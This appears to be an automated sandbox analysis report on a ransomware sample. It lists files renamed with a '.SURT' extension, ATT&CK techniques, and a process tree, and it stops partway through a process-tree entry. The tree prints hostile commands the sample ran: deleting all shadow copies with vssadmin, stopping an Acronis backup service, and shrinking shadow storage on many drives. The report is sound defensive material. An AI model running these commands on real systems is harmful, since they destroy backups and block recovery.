File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pl\UIAutomationProvider.resources.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Client\api-ms-win-crt-math-l1-1-0.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Retail3-ppd.xrm-ms.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Microsoft.Excel.SPClient.Interfaces.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUECALM\BLUECALM.ELM.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\it\System.Data.Services.Client.resources.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\stream_out\libstream_out_chromecast_plugin.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\AUTHORS.txt.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-up-pressed.gif.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\mshwjpnr.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\PenImc_cor3.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_SubTest2-pl.xrm-ms.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\wxpr.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Microsoft.Data.Edm.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ipssrl.xml.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power View Excel Add-in\Microsoft.Reporting.Common.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pl-pl\ui-strings.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\rsod\proof.en-us.msi.16.en-us.tree.dat.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\en-gb\ui-strings.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Diagnostics.Debug.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\it\WindowsFormsIntegration.resources.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\bg\msipc.dll.mui.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\npdeployJava1.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\SPPRedist.msi.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects\Smokey Glass.eftx.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000049\manifest.xml.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_uinline_warning.svg.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\de-de\ui-strings.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\System.Data.Services.Client.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\js\controllers.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_bow.png.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe

Interacts with shadow copies 3 TTPs 27 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3484	vssadmin.exe
224	vssadmin.exe
1552	vssadmin.exe
5092	vssadmin.exe
1612	vssadmin.exe
1556	vssadmin.exe
1728	vssadmin.exe
1800	vssadmin.exe
4368	vssadmin.exe
4540	vssadmin.exe
4212	vssadmin.exe
2012	vssadmin.exe
3004	vssadmin.exe
3904	vssadmin.exe
4352	vssadmin.exe
1588	vssadmin.exe
2952	vssadmin.exe
1384	vssadmin.exe
2376	vssadmin.exe
4604	vssadmin.exe
4016	vssadmin.exe
2536	vssadmin.exe
3108	vssadmin.exe
4764	vssadmin.exe
3088	vssadmin.exe
3356	vssadmin.exe
4896	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4684	schtasks.exe
5008	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeBackupPrivilege	4340	vssvc.exe
Token: SeRestorePrivilege	4340	vssvc.exe
Token: SeAuditPrivilege	4340	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3216 wrote to memory of 4852	3216	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	83
PID 3216 wrote to memory of 4852	3216	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	83
PID 3216 wrote to memory of 4852	3216	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	83
PID 3216 wrote to memory of 4852	3216	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	83
PID 3216 wrote to memory of 4852	3216	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	83
PID 3216 wrote to memory of 4852	3216	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	83
PID 3216 wrote to memory of 4852	3216	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	83
PID 4852 wrote to memory of 3584	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	84
PID 4852 wrote to memory of 3584	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	84
PID 4852 wrote to memory of 4384	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	85
PID 4852 wrote to memory of 4384	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	85
PID 4852 wrote to memory of 3976	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	86
PID 4852 wrote to memory of 3976	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	86
PID 3976 wrote to memory of 4288	3976	cmd.exe	87
PID 3976 wrote to memory of 4288	3976	cmd.exe	87
PID 4852 wrote to memory of 3600	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	88
PID 4852 wrote to memory of 3600	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	88
PID 4852 wrote to memory of 1092	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	89
PID 4852 wrote to memory of 1092	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	89
PID 4852 wrote to memory of 4304	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	90
PID 4852 wrote to memory of 4304	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	90
PID 4852 wrote to memory of 1080	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	91
PID 4852 wrote to memory of 1080	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	91
PID 4852 wrote to memory of 1780	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	92
PID 4852 wrote to memory of 1780	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	92
PID 4852 wrote to memory of 2336	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	93
PID 4852 wrote to memory of 2336	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	93
PID 4852 wrote to memory of 4388	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	94
PID 4852 wrote to memory of 4388	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	94
PID 4852 wrote to memory of 388	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	95
PID 4852 wrote to memory of 388	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	95
PID 4852 wrote to memory of 2932	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	96
PID 4852 wrote to memory of 2932	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	96
PID 4852 wrote to memory of 4700	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	97
PID 4852 wrote to memory of 4700	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	97
PID 4852 wrote to memory of 4676	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	98
PID 4852 wrote to memory of 4676	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	98
PID 4852 wrote to memory of 1628	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	100
PID 4852 wrote to memory of 1628	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	100
PID 4852 wrote to memory of 4364	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	99
PID 4852 wrote to memory of 4364	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	99
PID 4852 wrote to memory of 4796	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	101
PID 4852 wrote to memory of 4796	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	101
PID 4852 wrote to memory of 1576	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	102
PID 4852 wrote to memory of 1576	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	102
PID 4852 wrote to memory of 1700	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	103
PID 4852 wrote to memory of 1700	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	103
PID 4852 wrote to memory of 2008	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	104
PID 4852 wrote to memory of 2008	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	104
PID 4852 wrote to memory of 1832	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	105
PID 4852 wrote to memory of 1832	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	105
PID 4852 wrote to memory of 2968	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	106
PID 4852 wrote to memory of 2968	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	106
PID 4852 wrote to memory of 3032	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	107
PID 4852 wrote to memory of 3032	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	107
PID 4852 wrote to memory of 2520	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	320
PID 4852 wrote to memory of 2520	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	320
PID 4852 wrote to memory of 1560	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	109
PID 4852 wrote to memory of 1560	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	109
PID 4852 wrote to memory of 3188	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	110
PID 4852 wrote to memory of 3188	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	110
PID 4852 wrote to memory of 3720	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	111
PID 4852 wrote to memory of 3720	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	111
PID 4852 wrote to memory of 5024	4852	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5164	attrib.exe
3180	attrib.exe

C:\Users\Admin\AppData\Local\Temp\8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
"C:\Users\Admin\AppData\Local\Temp\8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Users\Admin\AppData\Local\Temp\8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
  "C:\Users\Admin\AppData\Local\Temp\8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe"
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
    3⤵
    PID:3584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c echo off
    3⤵
    PID:4384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c chcp 437
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3976
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:4288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Acronis VSS Provider"
    3⤵
    PID:3600
  - - C:\Windows\system32\net.exe
      net stop "Acronis VSS Provider"
      4⤵
      PID:1364
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Acronis VSS Provider"
        5⤵
        
        PID:3360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin Delete Shadows /all /quiet
    3⤵
    PID:1092
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin Delete Shadows /all /quiet
      4⤵
      PID:1380
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:4016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
    3⤵
    PID:4304
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
      4⤵
      PID:2684
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:2952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    PID:1080
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
      4⤵
      PID:2992
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
    3⤵
    PID:1780
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
      4⤵
      PID:1412
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:5092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
    3⤵
    PID:2336
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
      4⤵
      PID:2172
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:1612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
    3⤵
    PID:4388
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
      4⤵
      PID:1112
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:2012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
    3⤵
    PID:388
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
      4⤵
      PID:5084
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:2536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
    3⤵
    PID:2932
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
      4⤵
      PID:2528
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:4764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB
    3⤵
    PID:4700
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB
      4⤵
      PID:4708
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:2376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB
    3⤵
    PID:4676
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB
      4⤵
      PID:1580
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:3108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB
    3⤵
    PID:4364
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB
      4⤵
      PID:2384
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:1384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB
    3⤵
    PID:1628
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB
      4⤵
      PID:4964
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:4352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB
    3⤵
    PID:4796
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB
      4⤵
      PID:3228
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:4540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB
    3⤵
    PID:1576
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB
      4⤵
      PID:4272
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:3356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB
    3⤵
    PID:1700
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB
      4⤵
      PID:4560
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB
    3⤵
    PID:2008
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB
      4⤵
      PID:4428
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:4212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB
    3⤵
    PID:1832
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB
      4⤵
      PID:3280
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:3904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB
    3⤵
    PID:2968
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB
      4⤵
      PID:408
    - - C:\Windows\system32\vssadmin.exe
        
